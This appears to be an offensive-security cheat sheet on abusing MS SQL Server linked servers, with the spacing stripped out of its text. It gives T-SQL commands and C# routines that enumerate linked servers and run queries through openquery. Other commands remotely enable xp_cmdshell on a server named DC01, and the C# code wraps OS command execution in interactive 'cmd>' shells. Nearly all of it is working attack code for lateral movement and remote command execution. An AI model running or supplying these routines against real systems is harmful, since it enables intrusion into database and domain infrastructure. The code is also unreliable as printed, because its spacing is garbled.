MS SQL Server Linked Servers are used to establish a connection between two different SQL Server instances, allowing for distributed queries and data sharing between them.
Discovering linked servers
To discover linked servers:
EXEC sp_linkedservers;
Executing SQL queries on linked server
To execute SQL queries on a Linked Server in MS SQL Server:
selectversionfromopenquery("dc01", 'select @@version as version')select*fromopenquery("dc01", 'select @@version as version')
C# Example
To execute queries on linked server using C#:
publicvoidsql_shell_linked_server(){#regionSQL Shell Linked ServerConsole.WriteLine($"\nExecuting SQL commands on {LinkedServer}"); SQLQuery =$"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();DataReader.Read();Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");DataReader.Close();Console.WriteLine("[*] Enter 'exit' to return to the main menu");while (true) {Console.Write("sql> ");string cmd =Console.ReadLine();if (cmd =="exit") {break; } else {try { cmd =cmd.Replace("'","''"); SQLQuery =$"select * from openquery(\"{LinkedServer}\", '{cmd}')"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();Console.WriteLine(); DataReaderOutput();Console.WriteLine();DataReader.Close(); }catch (Exception ex) {Console.WriteLine($"[!] ERROR: {ex.ToString()}"); } } }#endregion}
Enabling xp_cmdshell
Enabling xp_cmdshell on a Linked Server in MS SQL Server can be useful when you need to execute a command on the remote server.
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT DC01
C# Example
To enable xp_cmdshell on linked server using C#
publicvoidsql_linked_server_enable_xp(){#regionSQL Linked Server Enabling xp_cmdshellConsole.WriteLine($"\nExecuting SQL commands on {LinkedServer}"); SQLQuery =$"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();DataReader.Read();Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");DataReader.Close();try {Console.WriteLine($"[*] Trying to enable xp_cmdshell on linked server {LinkedServer}"); SQLQuery =$"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {LinkedServer}"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();DataReader.Close(); SQLQuery =$"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {LinkedServer}"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();DataReader.Close(); }catch (Exception ex) {Console.WriteLine($"[!] ERROR: {ex.ToString()}"); }Console.WriteLine("[*] Print xp_cmdshell status"); SQLQuery =$"EXEC ('sp_configure ''xp_cmdshell''') AT {LinkedServer}"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader(); DataReaderOutput();DataReader.Close();#endregion}
Running xp_cmdshell
To execute xp_cmdshell on linked server:
EXEC ('EXEC xp_cmdshell ''{cmd}''') AT DC01
C# Example
Running xp_cmdshell on linked server using C#:
publicvoidos_shell_linked_server(){#regionLinked Server OS ShellConsole.WriteLine($"\nExecuting shell commands on {LinkedServer}"); SQLQuery =$"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();DataReader.Read();Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");DataReader.Close();Console.WriteLine("[*] Enter 'exit' to return to the main menu");while (true) {Console.Write("cmd> ");string cmd =Console.ReadLine();if (cmd =="exit") {break; }else {try { SQLQuery =$"EXEC ('EXEC xp_cmdshell ''{cmd}''') AT {LinkedServer}"; Command =newSqlCommand(SQLQuery, Instance); DataReader =Command.ExecuteReader();while (DataReader.Read()) {string output =DataReader[0].ToString();Console.WriteLine(output); }DataReader.Close(); }catch (Exception ex) {Console.WriteLine($"[!] ERROR: {ex.ToString()}");break; } } }#endregion}